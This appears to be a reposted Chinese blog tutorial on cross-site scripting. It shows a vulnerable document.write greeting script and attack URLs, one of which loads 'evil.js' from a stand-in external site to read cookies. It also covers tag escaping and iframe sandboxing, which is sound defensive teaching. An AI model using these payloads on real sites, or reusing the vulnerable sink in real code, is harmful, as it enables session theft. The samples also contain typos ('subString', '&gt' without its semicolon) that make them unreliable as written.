码迷,mamicode.com
首页 > 其他好文 > 详细

跨站脚本(XSS)

时间:2014-06-11 08:40:39      阅读:225      评论:0      收藏:0      [点我收藏+]

标签:style   class   blog   code   java   http   

 

跨站脚本: cross-site scripting或者XSS, 即攻击者向目标Web站点注入HTML标签或者脚本

     如果网站没有通过移除任何嵌入的HTML标签来消毒,那么web页面很容易受到跨站脚本攻击

 


 

 

简单例子:

 

下面的js脚本时向用户say hello

<script>
var name = decodeURIComponent(window.location.search.subString(1)) || "";
document.write("Hello " + name);
</script>

eg: http://www.example.com/greet.html?wish

此时输出Hello, wish

 

如果通过http://www.example.com/greet.html%3Cscript%3Ealert(‘(*^__^*)‘)%3C/script%3E调用,则页面会执行js脚本 并且弹出对话框(*^__^*) 

 

当然如果在后面嵌入script文件则可进行其他的攻击如下:

http://www.example.com?name = %3Cscript src = siteB/evil.js%3E%3C/script%3E

则B站点的evil.js会嵌入到example.com中,并对站点A的内容进行任何想要的操作,也可以读取cookie中用户相关信息

 


 

 

通常防止XSS攻击的方式是,在使用任何不可信的数据来动态创建文档内容之前,应该从中移除HTML标签

 

name = name.replace(/</g, "&lt;").replace(/>/g, "&gt");

 

当然在IE8中可以使用toStaticHTML()方法

 


 

 

在HTML5中增加了sandbox,增强了iframe可靠性

eg:

bubuko.com,布布扣
<iframe src="demo_iframe_sandbox.htm" sandbox=""></iframe>

只有添加了下面的属性值后在ifame中才允许相关的操作

相关属性:

  allow-scripts                   允许在沙盒中执行JavaScript脚本
  allow-forms                     允许在沙盒中提交表单
  allow-same-origin               允许在沙盒中存取由同源完全策略保护的API

  allow-top-navigation            允许在沙盒中将内容变更为最顶层的窗口
  ms-allow-popups                 允许在沙盒中弹出窗口

bubuko.com,布布扣

 

eg:如想允许执行脚本:

<iframe src="demo_iframe_sandbox.htm" sandbox="allow-scripts">

 

 

 

 

 

跨站脚本(XSS),布布扣,bubuko.com

跨站脚本(XSS)

标签:style   class   blog   code   java   http   

原文地址:http://www.cnblogs.com/wishyouhappy/p/3770428.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!